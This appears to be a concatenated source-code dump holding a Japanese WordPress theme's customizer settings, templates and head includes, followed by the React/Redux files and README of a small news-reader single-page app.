'10-14.独自フッターメニュー4のアイコン', 'description' => '空白にするとその他の項目の大きさが自動的に調整されます。', 'type' => 'text', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu_li4_ttl', array( 'default' => 'TEL', 'type' => 'option', )); $wp_customize->add_control('site_footer_sp_menu_li4_ttl', array( 'label' => '10-15.独自フッターメニュー4のテキスト', 'description' => '空白にするとアイコンの大きさが自動的に調整されます。', 'type' => 'text', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu_li4_uri', array( 'default' => '#', 'type' => 'option', )); $wp_customize->add_control('site_footer_sp_menu_li4_uri', array( 'label' => '10-16.独自フッターメニュー4のリンク先', 'type' => 'text', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu_li5_icon', array( 'default' => '<i class="fas fa-question-circle"></i>', 'type' => 'option', )); $wp_customize->add_control('site_footer_sp_menu_li5_icon', array( 'label' => '10-17.独自フッターメニュー5のアイコン', 'description' => '空白にするとその他の項目の大きさが自動的に調整されます。', 'type' => 'text', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu_li5_ttl', array( 'default' => 'Q&A', 'type' => 'option', )); $wp_customize->add_control('site_footer_sp_menu_li5_ttl', array( 'label' => '10-18.独自フッターメニュー5のテキスト', 'description' => '空白にするとアイコンの大きさが自動的に調整されます。', 'type' => 'text', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_sp_menu_li5_uri', array( 'default' => '#', 'type' => 'option', )); $wp_customize->add_control('site_footer_sp_menu_li5_uri', array( 'label' => '10-19.独自フッターメニュー5のリンク先', 'type' => 'text', 'section' => 'site_footer', )); $wp_customize->add_setting('site_footer_credit', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_footer_credit', array( 'label' => '10-20.フッターで12hitoeへのリンクを非表示にする', 'description' => '', 'type' => 'checkbox', 'section' => 'site_footer', )); $wp_customize->add_section('site_widgets',array( 'priority' => 11, 'title' => '11.サイドバー/ウィジェットの設定', 'panel' => 'site_builder', )); $wp_customize->add_setting('site_widgets_design',array( 'default' => 'value1', 'type' => 'option', )); $wp_customize->add_control('site_widgets_design',array( 'label' => 'サイドバーのデザイン(開発中)', 'type' => 'radio', 'choices' => array( 'value1' => 'デザイン1', 'value2' => 'デザイン2', 'value3' => 'デザイン3', ), 'section' => 'site_widgets', )); $wp_customize->add_setting('site_widgets_h_icon',array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_widgets_h_icon',array( 'label' => 'ウィジェットタイトル前にアイコンを使用', 'type' => 'checkbox', )); $wp_customize->add_section('site_others',array( 'priority' => 12, 'title' => '12.その他の設定', 'panel' => 'site_builder', )); $wp_customize->add_setting('site_others_nav_shadow',array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_others_nav_shadow',array( 'label' => '12-1.ナビメニューの影をなくす', 'type' => 'checkbox', 'section' => 'site_others', )); $wp_customize->add_setting('site_others_bodyanime',array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_others_bodyanime',array( 'label' => '12-2.全体をふわっと表示(開発中)', 'type' => 'checkbox', 'section' => 'site_others', )); // サイト構造(コンポーネントの順番) // ## example ) // - HEADER => NAV => ARTCILE LIST => ASIDE => FOOTER // - NAV => ARTICLE LIST => FOOTER // - DYNAMIC HEADER => ARTICLE => FOOTER /******** // STEP3 ********/ $wp_customize->add_panel('site_admin', array( 'priority' => 3, 'title' => 'STEP3【運営設定】', 'description' => 'サイトの運営設定', )); $wp_customize->add_section('site_speed',array( 'priority' => 1, 'title' => '1.ページスピード高速化設定', 'panel' => 'site_admin', )); $wp_customize->add_setting('site_head_jquery', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_head_jquery', array( 'label' => 'jQueryを使用しない', 'description' => 'jQueryを読み込まないことでサイトスピードの向上が測れます。詳しくはこちら', 'type' => 'checkbox', 'section' => 'site_speed', )); $wp_customize->add_setting('site_pv_count', array( 'default' => false, 'type' => 'option', 'sanitize_callback' => 'sanitize_checkbox', )); $wp_customize->add_control('site_pv_count', array( 'label' => 'PV計測をしない', 'description' => 'PVを計測しないことで記事ページの処理速度が向上します。', 'type' => 'checkbox', 'section' => 'site_speed', )); $wp_customize->add_section('site_ogp', array( 'priority' => 2, 'title' => "2.OGP設定", 'panel' => 'site_admin' )); $wp_customize->add_setting('site_ogp_tw_account', array( 'type' => 'option', )); $wp_customize->add_control('site_ogp_tw_account', array( 'label' => '2-1.シェアに表示するTwitterアカウント', 'description' => 'Twitterでシェアされたときに表示されるアカウントです。@の後から入力してください。不要な場合は空欄で問題ありません。', 'type' => 'text', 'section' => 'site_ogp', )); $wp_customize->add_setting('site_ogp_tw_card', array( 'type' => 'option', )); $wp_customize->add_control('site_ogp_tw_card', array( 'label' => '2-2.シェアのカードタイプ', 'description' => 'シェアされたときに表示するカードのタイプを設定できます', 'type' => 'radio', 'choices' => array( 'value1' => '大きなカード', 'value2' => '小さいカード', ), 'section' => 'site_ogp', )); $wp_customize->add_setting('site_ogp_fb_appid', array( 'type' => 'option', )); $wp_customize->add_control('site_ogp_fb_appid', array( 'label' => '2-3.Facebook AppID', 'description' => 'Facebook用OGPタグに出力されます。必要な場合は設定しましょう。', 'type' => 'text', 'section' => 'site_ogp', )); $wp_customize->add_section('site_google', array( 'priority' => 3, 'title' => "3.Googleツール", 'panel' => 'site_admin' )); $wp_customize->add_setting('site_google_analytics', array( 'type' => 'option', )); $wp_customize->add_control('site_google_analytics', array( 'label' => '3-1.アナリティクスの設定', 'description' => 'アナリティクスのトラッキングIDを入力してください', 'type' => 'text', 'section' => 'site_google', )); $wp_customize->add_setting('site_google_adsense', array( 'type' => 'option', )); $wp_customize->add_control('site_google_adsense', array( 'label' => '3-2.アドセンスの設定', 'description' => 'Adsenseコードを入力してください。(『ca-pub-XXXXXXXXXXXXXXXX』の部分のみ貼り付けてください)', 'type' => 'text', 'section' => 'site_google', )); $wp_customize->add_section('site_head', array( 'priority' => 4, 'title' => "4.headに挿入", 'panel' => 'site_admin' )); $wp_customize->add_setting('site_head_addcode', array( 'type' => 'option', )); $wp_customize->add_control('site_head_addcode', array( 'label' => '4-1.headにコードを挿入する', 'description' => 'サードパーティ製のツールなど必要に応じ、ここに入力したコードをheadに追記できます(上級者向け)', 'type' => 'textarea', 'section' => 'site_head', )); } //END org_customizer() <file_sep><?php $authorTitle = get_option('site_article_author_ttl') ? get_option('site_article_author_ttl') : 'この記事を書いた人' ; ?> <div class="author"> <h3 class="author_ttl article_af_ttl"> <?php echo $authorTitle ?> </h3> <div class="author_box"> <div class="author_thumb"> <?php echo get_avatar(get_the_author_meta('ID'), 80); ?> <p class="author_name"> <?php the_author(); ?> </p> </div> <div class="author_info"> <p> <?php the_author_meta('user_description'); ?> </p> <?php get_template_part('parts/others/follow_button') ?> </div> </div> </div> <file_sep><?php $siteType = get_option('site_bone_type') ? get_option('site_bone_type') : 'value1' ; $articleType = get_option('site_article_type') ? get_option('site_article_type') : 'value1' ; $authorOff = get_option('site_article_authorable') ; $relatedOff = get_option('site_article_relatedable'); $pvcountOff = get_option('site_pv_count') ? get_option('site_pv_count') : false ; ?> <?php get_header(); ?> <div class="row contentArea showPage"> <main id="main" class="main<?php if ($siteType == 'value1' || $siteType == 'value3'){echo ' columns col l9';}?>"> <div class="main__container articleShow_wrap"> <?php if ($articleType == 'value1'){ get_template_part('parts/article/type1'); }elseif($articleType == 'value2'){ get_template_part('parts/article/type2'); }elseif($articleType == 'value3'){ get_template_part('parts/article/type3'); }elseif($articleType == 'value4'){ get_template_part('parts/article/type4'); } ?> </div> <?php if($authorOff==false){get_template_part('parts/others/author');} ?> <?php if($relatedOff==false){get_template_part('parts/others/relatedPost');} ?> <?php comments_template(); ?> </main> <?php if($siteType == 'value1' || $siteType == 'value3'){ get_sidebar(); } ?> </div> <?php get_footer(); ?> <?php if($pvcountOff==false){if(!is_user_logged_in()&&!is_bot()){set_post_views(get_the_ID());}} ?> <file_sep><?php /** * Template Name: 白紙ページ * Template Post Type: page */ ?> <?php $siteType = get_option('site_bone_type') ? get_option('site_bone_type') : 'value1' ; $tocOn = get_option('site_article_toc_page') ? get_option('site_article_toc_page') : false ; ?> <?php get_header(); ?> <div class="row contentArea showPage"> <main id="main" class="main<?php if ($siteType == 'value1' || $siteType == 'value3'){echo ' columns col l9';}?>"> <div class="main__container articleShow_wrap<?php if($tocOn==true){echo ' painttoc';} ?>"> <?php if(have_posts()): the_post(); ?> <article <?php post_class('articleType1'); ?>> <div class="article_container"> <!--タイトル--> <div class="article_title"> <h1><?php the_title(); ?></h1> </div> <!--本文--> <div class="article_content"> <?php the_content(); ?> </div> </div> </article> <?php endif; ?> </div> </main> <?php if ($siteType == 'value1' || $siteType == 'value3'){ get_sidebar(); } ?> </div> <?php get_footer(); ?> <file_sep><?php ////////////////////////////// //セットアップ内容 ////////////////////////////// include ('lib/functions/for_setup/i_head_clean_up.php'); include ('lib/functions/for_setup/ii_theme_support.php'); include ('lib/functions/for_setup/iii_customizer.php'); include ('lib/functions/for_setup/iiii_add_head_css.php'); include ('lib/functions/for_setup/iiiii_register_widgets.php'); include ('lib/functions/for_setup/iiiiii_add_shortcode.php'); function setup(){ /** 1 <head>タグ内不要なコードの削除 **/ add_action('init', 'head_clean_up'); /** 2 できること追加する **/ add_action('init', 'theme_supports'); /** 3 オリジナルのカスタマイザー追加 **/ add_action('customize_register', 'org_customizer'); /** 4 カスタマイザーの項目に伴うCSSの追加 **/ add_action('wp_head', 'add_customizerCSS'); /** 5 ウィジェットやウィジェットエリアの追加 **/ add_action('widgets_init', 'register_widgets'); /** 6 ショートコードの登録! **/ add_action('init', 'add_shortcodes'); } add_action('after_setup_theme', 'setup'); ///////////////////////////// //テンプレート用関数 ///////////////////////////// include ('lib/functions/for_template/functions.php'); function filters(){ /** タグのフォントサイズ修正 **/ add_filter('widget_tag_cloud_args', 'tag_font_size'); /** post-countの出力変更 **/ add_filter('wp_list_categories', 'remove_post_count_parentheses'); add_filter('get_archives_link', 'remove_post_count_parentheses'); add_filter('wp_tag_cloud', 'wp_tag_cloud_custom_ex'); // /** ナビメニューのあれこれ **/ // add_filter('nav_menu_css_class' , 'active_nav_class'); // add_filter('nav_menu_css_class' , 'sp_menu_classes'); /** 最初の見出し前に広告 **/ add_filter('the_content', 'add_ad_before_h2'); /** 目次挿入 **/ add_filter('the_content', 'add_index_to_content'); /** 見出しにクラス付与 **/ add_filter('the_content', 'add_heading_class'); /** lazyloadの適用 **/ add_filter('the_content', 'convert_src_for_lazyload'); add_filter('the_content', 'add_lazyload_class'); /** プロフィールボックス拡張 **/ add_filter('user_contactmethods', 'author_profile_box'); /** コメント欄のタグ制限 **/ add_filter('comments_open', 'filter_comment_tags'); add_filter('pre_comment_approved', 'filter_comment_tags'); /** コメント欄でURL無効 **/ remove_filter('comment_text', 'make_clickable'); /** 記事埋め込み embed **/ remove_action('embed_head', 'print_embed_styles'); remove_action('embed_footer', 'print_embed_sharing_dialog'); add_action('embed_head', 'my_embed_styles'); add_filter('embed_thumbnail_image_size', 'set_thumbnail_size'); } add_action('init', 'filters'); ///////////////////////////// //管理画面から更新ができるように ///////////////////////////// require ('vendor/plugin-update-checker/plugin-update-checker.php'); $myUpdateChecker = Puc_v4_Factory::buildUpdateChecker( 'https://withdiv.com/theme.json', __FILE__, 'bone' ); <file_sep><?php ////////////////////////////// // 2 テーマサポート ////////////////////////////// function theme_supports(){ //HTML5を使用可能に add_theme_support('html5',array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption') ); //カスタマイザーからロゴ使用可能に add_theme_support('custom-logo'); //アイキャッチ画像使用可能に add_theme_support('post-thumbnails'); add_image_size('eyecatch', 520, 300, true);//アイキャッチ用 add_image_size('minimum', 80, 80, true);//関連記事、人気記事用 //メニューを使用可能に add_theme_support('menus'); //タイトルタグをよしなに add_theme_support('title-tag'); //メニューの有効化 register_nav_menu('nav_header', 'ヘッダーメニュー(PC)'); register_nav_menu('nav_header_sp', 'ヘッダーメニュー(スマホ)'); register_nav_menu('nav_footer', 'フッターメニュー(PC・スマホ)'); //Gutenberg系 add_theme_support('align-wide'); add_theme_support('responsive-embeds'); add_editor_style('editor-style.css'); add_theme_support('editor-styles'); }//END theme_supports(); <file_sep>// materializeJS document.addEventListener('DOMContentLoaded', function() { var sideNav = document.querySelectorAll('.sidenav'); var fixedBtn = document.querySelectorAll('.fixed-action-btn'); var modal = document.querySelectorAll('.modal'); var collapsible = document.querySelectorAll('.collapsible'); var carousel = document.querySelectorAll('.carousel'); var carousel2 = document.querySelectorAll('.carousel-slider'); var imagebox = document.querySelectorAll('.materialboxed'); var tab = document.querySelectorAll('.tabs'); var instancesNav = M.Sidenav.init(sideNav); var instancesFixedBtn = M.FloatingActionButton.init(fixedBtn); var instancesModal = M.Modal.init(modal); var instancesCollaps = M.Collapsible.init(collapsible); var instancesCarousel = M.Carousel.init(carousel); var instancesCarousel2 = M.Carousel.init(carousel2,{fullWidth:true,indicators:true}); var instancesImagebox = M.Materialbox.init(imagebox); var instancesTab = M.Tabs.init(tab); }); <file_sep><?php if(has_category()){ $cats = get_the_category(); $catkwds = array(); foreach($cats as $cat){ $catkwds[] = $cat->term_id; } } $myposts = get_posts(array( 'post_type' => 'post', 'posts_per_page' => '6', 'post__not_in' => array( $post->ID ), 'category__in' => $catkwds, 'orderby' => 'rand', )); $relatedTtl = get_option('site_article_related_ttl') ? get_option('site_article_related_ttl') : '関連記事'; $relatedType = get_option('site_article_related_design') ? get_option('site_article_related_design') : 'value1' ; ?> <?php if($myposts): ?> <div class="related<?php output_type_class($relatedType,'related') ?>"> <h3 class="related_ttl article_af_ttl"><?php echo $relatedTtl ?></h3> <ul class="related_posts"> <?php foreach($myposts as $post):setup_postdata($post); ?> <li> <a href="<?php the_permalink(); ?>"> <div class="related_thumb"> <?php if(has_post_thumbnail()&&$relatedType=='value1'): ?> <?php echo convert_src_for_lazyload(get_the_post_thumbnail($post->ID, 'minimum', array( 'class' => 'fadeinimg lazyload'))); ?> <?php elseif(has_post_thumbnail()&&$relatedType=='value2'): ?> <?php echo convert_src_for_lazyload(get_the_post_thumbnail($post->ID, 'eyecatch', array( 'class' => 'fadeinimg lazyload'))); ?> <?php elseif($relatedType=='value1'): ?> <img data-src="<?php echo get_template_directory_uri(); ?>/images/default_thumbnail.png" alt="関連記事アイキャッチ画像" width="80" height="80" class="fadeinimg lazyload"> <?php elseif($relatedType=='value2'): ?> <img data-src="<?php echo get_template_directory_uri(); ?>/images/default_thumbnail.png" alt="関連記事アイキャッチ画像" width="520" height="300" class="fadeinimg lazyload"> <?php endif; ?> </div> <div class="related_post_ttl"> <?php the_title(); ?> </div> </a> </li> <?php endforeach; ?> </ul> </div> <?php wp_reset_postdata();endif; ?> <file_sep><?php $carouselType = get_option('site_carousel_on'); $carItem1Imag = get_option('site_carousel_item1_img'); $carItem1Link = get_option('site_carousel_item1_link'); $carItem2Imag = get_option('site_carousel_item2_img'); $carItem2Link = get_option('site_carousel_item2_link'); $carItem3Imag = get_option('site_carousel_item3_img'); $carItem3Link = get_option('site_carousel_item3_link'); $carItem4Imag = get_option('site_carousel_item4_img'); $carItem4Link = get_option('site_carousel_item4_link'); $carItem5Imag = get_option('site_carousel_item5_img'); $carItem5Link = get_option('site_carousel_item5_link'); ?> <div class="carousel<?php if($carouselType=='value3'){echo' carousel-slider';} ?>"> <?php if($carItem1Imag!=null): ?> <a class="carousel-item" href="<?php echo $carItem1Link ?>"> <img data-src="<?php echo $carItem1Imag ?>" class="fadeinimg lazyload"> </a> <?php endif; ?> <?php if($carItem2Imag!=null): ?> <a class="carousel-item" href="<?php echo $carItem2Link ?>"> <img data-src="<?php echo $carItem2Imag ?>" class="fadeinimg lazyload"> </a> <?php endif; ?> <?php if($carItem3Imag!=null): ?> <a class="carousel-item" href="<?php echo $carItem3Link ?>"> <img data-src="<?php echo $carItem3Imag ?>" class="fadeinimg lazyload"> </a> <?php endif; ?> <?php if($carItem4Imag!=null): ?> <a class="carousel-item" href="<?php echo $carItem4Link ?>"> <img data-src="<?php echo $carItem4Imag ?>" class="fadeinimg lazyload"> </a> <?php endif; ?> <?php if($carItem5Imag!=null): ?> <a class="carousel-item" href="<?php echo $carItem5Link ?>"> <img data-src="<?php echo $carItem5Imag ?>" class="fadeinimg lazyload"> </a> <?php endif; ?> </div> <file_sep><?php get_header(); ?> <?php $siteType = get_option('site_bone_type') ? get_option('site_bone_type') : 'value1' ; ?> <div class="row contentArea indexPage"> <main id="main" class="main<?php if ($siteType == 'value1' || $siteType == 'value3'){ echo ' columns col l9';}?>"> <div class="main__container articleList_wrap"> <h4 class="search_result_ttl">「<?php the_search_query(); ?>」の検索結果</h4> <div class="main__container"> <?php if (have_posts() && get_search_query()) : while (have_posts()) : the_post();?> <?php get_template_part('parts/others/loop') ?> <?php endwhile; else : ?> <?php get_template_part('parts/article/not_found'); ?> <?php endif; ?> </div> <?php m_pagination(); ?> </main> <?php if ($siteType == 'value1' || $siteType == 'value3'){ get_sidebar(); } ?> </div> <?php get_footer(); ?> <file_sep><link rel="dns-prefetch" href="//fonts.googleapis.com"> <?php //リセットCSS ?> <link rel="stylesheet" href="<?php echo get_stylesheet_uri(); ?>"> <!-- <link rel="dns-prefetch" href="//use.fontawesome.com"> --> <?php //CSSフレームワークの分岐 (materialize.css/common.css呼び出し) ?> <?php $cssfw = get_option('site_cssfw_choice') ? get_option('site_cssfw_choice') : 'value2' ;?> <?php if ($cssfw != 'value1') : ?> <link href="<?php echo get_template_directory_uri(); ?>/vendor/materialize/css/materialize.min.css" rel="preload" media="all" as="style" type="text/css"> <link href="<?php echo get_template_directory_uri(); ?>/vendor/materialize/css/materialize.min.css" rel="stylesheet" media="print" onload="this.media='all'"> <link href="<?php echo get_template_directory_uri(); ?>/lib/css/material.css" rel="preload" media="all" as="style" type="text/css"> <link href="<?php echo get_template_directory_uri(); ?>/lib/css/material.css" rel="stylesheet" media="print" onload="this.media='all'"> <?php endif; ?> <!-- <?php //サードパーティ製css/js呼び出し ?> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.2/css/all.css" type="text/css" media="all"> --> <?php //GoogleFont呼び出し ?> <?php $fontTitle = get_option('site_font_title') ? get_option('site_font_title') : 'value1' ; ?> <?php if ($fontTitle == 'value2'): ?> <link href="https://fonts.googleapis.com/css?family=Luckiest+Guy&display=swap" rel="stylesheet" media="all"> <?php elseif ($fontTitle == 'value3') : ?> <link href="https://fonts.googleapis.com/css?family=Megrim&display=swap" rel="stylesheet" media="all"> <?php elseif ($fontTitle == 'value4') : ?> <link href="https://fonts.googleapis.com/css?family=Faster+One&display=swap" rel="stylesheet" media="all"> <?php elseif ($fontTitle == 'value5') : ?> <link href="https://fonts.googleapis.com/css?family=Iceland&display=swap" rel="stylesheet" media="all"> <?php elseif ($fontTitle == 'value6') : ?> <link href="https://fonts.googleapis.com/css?family=Londrina+Outline&display=swap" rel="stylesheet" media="all"> <?php elseif ($fontTitle == 'value7') : ?> <link href="https://fonts.googleapis.com/css?family=Caveat&display=swap" rel="stylesheet" media="all"> <?php elseif ($fontTitle == 'value8') : ?> <link href="https://fonts.googleapis.com/earlyaccess/nicomoji.css" rel="stylesheet" media="all"> <?php elseif ($fontTitle == 'value9') : ?> <link href="https://fonts.googleapis.com/earlyaccess/hannari.css" rel="stylesheet" media="all"> <?php elseif ($fontTitle == 'value10') : ?> <link href="https://fonts.googleapis.com/earlyaccess/nikukyu.css" rel="stylesheet" media="all"> <?php endif ?> <?php $fontBody = get_option('site_font_body'); ?> <?php if ($fontBody == 'value3' ): ?> <link href="https://fonts.googleapis.com/css?family=M+PLUS+Rounded+1c&display=swap" rel="stylesheet" media="all"> <?php endif ?> <?php $articleList = get_option('site_article_list_type') ? get_option('site_article_list_type') : 'value1' ; ?> <?php if ($articleList == 'value1'): ?> <link href="https://fonts.googleapis.com/css?family=Fredoka+One&display=swap" rel="stylesheet" media="all"> <?php endif; ?> <?php if (is_home()){ $canonical_url = get_bloginfo('url')."/"; } elseif (is_category()){ $canonical_url = get_category_link(get_query_var('cat')); } elseif (is_page()||is_single()){ $canonical_url = get_permalink(); } if ($paged >= 2 || $page >= 2){ $canonical_url = $canonical_url.'page/'.max( $paged, $page ).'/'; } ?> <?php if(!(is_404())):?> <link rel="canonical" href="<?php echo $canonical_url; ?>" /> <?php endif;?> <?php //jQueryを使用しない ?> <?php $jQueryON = get_option('site_head_jquery') ? get_option('site_head_jquery') : false ?> <?php if ($jQueryON == true) : ?> <?php wp_deregister_script('jquery');?> <?php endif; ?> <?php //ファビコンなど ?> <?php $siteIcon = get_option('site_icon'); ?> <?php if(empty($siteIcon)): ?> <link rel="icon" size="256x256" href="<?php echo get_template_directory_uri(); ?>/images/android-chrome.png"> <link rel="icon" type="shortcut icon" href="<?php echo get_template_directory_uri(); ?>/images/favicon.ico"> <link rel="apple-touch-icon-precomposed" href="<?php echo get_template_directory_uri(); ?>/images/apple-touch-icon.png"> <?php endif; ?> <?php //アナリティクス ?> <?php $analytics = get_option('site_google_analytics') ?> <?php if ( $analytics != null && !(is_user_logged_in()) ) : ?> <!-- Global site tag (gtag.js) - Google Analytics --> <script async src="https://www.googletagmanager.com/gtag/js?id=<?php echo $analytics ?>"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', '<?php echo $analytics ?>'); </script> <?php endif; ?> <?php $adsense = get_option('site_google_adsense') ?> <?php if($adsense != null): ?> <link rel="dns-prefetch" href="//pagead2.googlesyndication.com"> <link rel="dns-prefetch" href="//googleads.g.doubleclick.net"> <link rel="dns-prefetch" href="//tpc.googlesyndication.com"> <link rel="dns-prefetch" href="//www.gstatic.com"> <script data-ad-client="<?php echo $adsense ?>" async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script> <?php endif; ?> <?php //head ?> <?php $head_add = get_option('site_head_addcode') ?> <?php echo $head_add ?>
6a483b2564b411e434b07d3ee71252a56adf6412
[ "JavaScript", "Markdown", "PHP" ]
42
PHP
9631kunn/12hitoe
b7256abf270a91b2d9d2227ed809d74b5636c900
1fe7563cb3f134161f2f16078d0a5f11e3aedf22
refs/heads/master
<file_sep>import React from 'react'; import styled from 'styled-components'; import {variables} from '../variables'; const Wrapper = styled.button ` outline:none; border:none; min-width:70px; margin-top:10px; margin-bottom:10px; padding:10px 5px; background-color:${variables.secondaryBG}; color:${variables.tabClr}; cursor: pointer; transition:0.2s; :hover{ color:${variables.hoverClr}; } :active{ transform:translateY(2px); } :disabled{ background-color: unset; border: 1px solid ${variables.secondaryBG}; color:${variables.hoverClr}; cursor:default; } `; const Button = ({ text = 'default', type = 'button', disabled = false, fnClick = () => {}, fnChange = () => {} }) => { return ( <Wrapper type={type} onClick={fnClick} onChange={fnChange} disabled={disabled}> {text} </Wrapper> ) } export default Button;<file_sep>import React from 'react'; import styled from 'styled-components'; import {variables} from '../variables'; import {Redirect} from 'react-router-dom'; import {connect} from 'react-redux'; import {logOut} from '../redux/actions' //image import BGImage from "../img/user.png"; //components import Button from "../components/Button"; const Wrapper = styled.div ` width:100%; display:flex; flex-direction:column; justify-content:center; align-items:center; `; const Box = styled.div ` width:90%; min-height:80vh; box-shadow:${variables.boxShadow}; @media (max-width:${variables.mediaW_2}) { width:95%; } `; const Info = styled.div ` width:90%; margin:10px auto; display:flex; justify-content:flex-start; align-items:flex-end; border-bottom: 2px solid ${variables.hoverClr}; @media (max-width:${variables.mediaW_2}) { justify-content:center; } `; const Logout = styled(Info)` border-bottom: unset; `; const Avatar = styled.div ` min-width:70px; min-height:90px; margin-bottom:5px; background-image: url(${BGImage}); background-position: center; background-repeat: no-repeat; background-size: cover; `; const Row = styled.div ` padding:5px 0 5px 20px; color:${variables.hoverClr}; display:flex; justify-content:flex-start; align-items:flex-end; `; const Title = styled.p ` padding:0 5px ; color:${variables.titleClr}; font-size:${variables.titleFZ}; `; const Text = styled(Title)` font-size:${variables.mainFZ}; `; const ProfilePage = ({ isAutorization = false, profile = null, logOut = () => {} }) => { return ( isAutorization ? <Wrapper> <Box> <Info> <Avatar/> <div> { profile && <> < Row > <Title>{profile.name}</Title> </Row> <Row> <Text>{profile.location}</Text> </Row> <Row> { profile .filters .map(item => (<Text key={item}>{item}</Text>)) }</Row> </> } </div> </Info> <Logout> <Button text='Log out' fnClick={logOut} disabled={!isAutorization}/> </Logout> </Box> </Wrapper> : <Redirect to="/login"/> ) } const STP = state => ( {isAutorization: state.isAutorization, profile: state.profile} ); const DTP = dispatch => ({ logOut: () => dispatch(logOut()) }); export default connect(STP, DTP,)(ProfilePage);<file_sep>import React from 'react'; import styled from 'styled-components'; import {variables} from '../variables'; //components import NavBar from "./NavBar" const Wrapper = styled.header ` width:100%; min-height:6vh; position: sticky; top:0; background-color:${variables.secondaryBG}; display:flex; justify-content:space-around; align-items:center; box-shadow: ${variables.headerBoxShadow}; `; const Header = () => { return (<Wrapper> <NavBar/> </Wrapper>) }; export default Header; <file_sep>import {Type} from './types'; const initialState = { news: null, titles: [ 'home', 'news', 'login', 'profile' ], currentPage: 'home', notFound: 'Sorry, Page not found', notValid: 'Not valid login or password', greeting: 'Hello! This application will help you to keep abreast of current news. To use ' + 'individual filters please log in.', individualGreeting: 'Glad to see you again! Good news for you - news filters have been added to the' + ' news section.', isAutorization: false, profile: { name: 'admin', password: '<PASSWORD>', location: 'us', filters: ['javaScript', 'react', 'motorcycles'] } }; const reducer = (state = initialState, action) => { switch (action.type) { case Type.AUTORIZATION: return { ...state, isAutorization: action.payload }; case Type.GET_DATA: return { ...state, news: action.payload }; case Type.CHANGE_CURRENT_PAGE: return { ...state, currentPage: action.payload }; case Type.IS_AUTORIZATION: return { ...state, isAutorization: action.payload }; default: return state; } }; export default reducer;<file_sep>import React from 'react'; import styled from 'styled-components'; import {variables} from '../variables'; const Wrapper = styled.input ` outline:none; border:none; width:70%; min-width:100px; min-height:30px; margin-top:10px; background-color:inherit; text-align:center; transition:0.2s; border-bottom: 1px solid ${variables.hoverClr}; `; const Input = ({ type = 'text', name = 'input', value = '', placeholder = '', fnChange = () => {} }) => { return ( <Wrapper type={type} name={name} value={value} placeholder={placeholder} onChange={fnChange}/> ) } export default Input;<file_sep>import React, {useEffect} from 'react'; import {createGlobalStyle} from 'styled-components'; import {Route, Switch} from 'react-router-dom'; import {connect} from 'react-redux'; import {getNews, getStatusAutorization} from './redux/actions'; //components import Header from './components/Header'; import Base from './components/Base'; //pages import NewsPage from './pages/News'; import HomePage from "./pages/Home"; import ProfilePage from "./pages/Profile"; import LoginPage from './pages/Login'; const GlobalStyle = createGlobalStyle ` * { box-sizing: border-box; } *:after, *:before { box-sizing: inherit; } p, ul, li, h1, h2, h3, h4 ,h5 ,h6, html, body{ margin: 0; padding: 0; } h1, h2, h3, h4,h5, h6{ font-weight: normal; } body{ font-family: 'Helvetica', sans-serif; font-size: 14px; color: #000000; font-weight: 400; min-width: 320px; overflow-x: hidden; background: #ffffff; line-height: normal; } input, textarea{ outline: none; } @media (min-width: 1921px) { body { font-size: 16px; } } `; function App({namesTab, notFound, currentPage, getData, getLocalvalue}) { useEffect(() => { getData(); getLocalvalue(); }); const pages = { home: HomePage, news: NewsPage, login: LoginPage, profile: ProfilePage } return ( <> < GlobalStyle /> <Header/> <Switch> <Route path='/' exact="exact" render={props => <Base {...{...props, Children:HomePage }}/> } /> { namesTab.map(name => ( <Route key={name} path={`/${name}`} render={props => <Base {...{...props, Children:pages[name] }}/> } /> )) } <Route render={() => <Base title={notFound}/>}/> </Switch> </> ); } const STP = state => ( {namesTab: state.titles, notFound: state.notFound, currentPage: state.currentPage} ); const DTP = dispatch => ({ getData: () => dispatch(getNews()), getLocalvalue: () => dispatch(getStatusAutorization()) }); export default connect(STP, DTP,)(App); <file_sep>export const API = { url: 'https://newsapi.org/v2/top-headlines?', cantry: 'us', key: '<KEY>' }; // export const standartReq = `${API.url}${API.cantry}${API.key}` export const standartReq = `${API.url}country=${API.cantry}&apiKey=${API.key}` <file_sep>import React from 'react'; import Media from 'react-media'; import { variables } from '../../variables'; //components import ArticleHorizontal from './ArticleHorizontal'; import ArticleVertical from './ArticleVertical'; const Article = ({ data = {}, source = '' }) => { return( <Media queries={{ mobile: `(${variables.mobileMediaRule})`, desktop:`(${variables.desktopMediaRule})` }}> {matches => ( <> {matches.mobile && <ArticleVertical {...{...data, source }} /> } {matches.desktop && <ArticleHorizontal {...{...data, source }} /> } </> )} </Media> ) }; export default Article; <file_sep>import React from 'react'; import styled from 'styled-components'; import {variables} from '../variables'; const Wrapper = styled.div ` width:100%; min-height:calc(100vh - 6vh - 10px); background-color:${variables.mainBG}; display:flex; justify-content:center; align-items:center; `; const Base = ({ title = null, Children = () => {} }) => { return ( <Wrapper> { title ? (<h3>{title}</h3>) : (<Children/>) } </Wrapper> ) }; export default Base;<file_sep>export const Type = { GET_DATA: 'GET_DATA', AUTORIZATION: 'AUTORIZATION', CHANGE_CURRENT_PAGE: 'CHANGE_CURRENT_PAGE', IS_AUTORIZATION: 'IS_AUTORIZATION' };<file_sep>This is a SPA application that displays current news source https://newsapi.org. Styles defined using styled-components The application is optimized for devices with a screen width of 360px to 3840px All data is stored in redux store All functions are in the actions file (src / redux / actions.js). An exception for the Login page is the required functions are recorded in the form component. The application consists of 4 pages: - Home: shows the latest news here. At the top of the page is a welcome message, which varies depending on the authorization status. - News: here in the future news will be displayed according to the 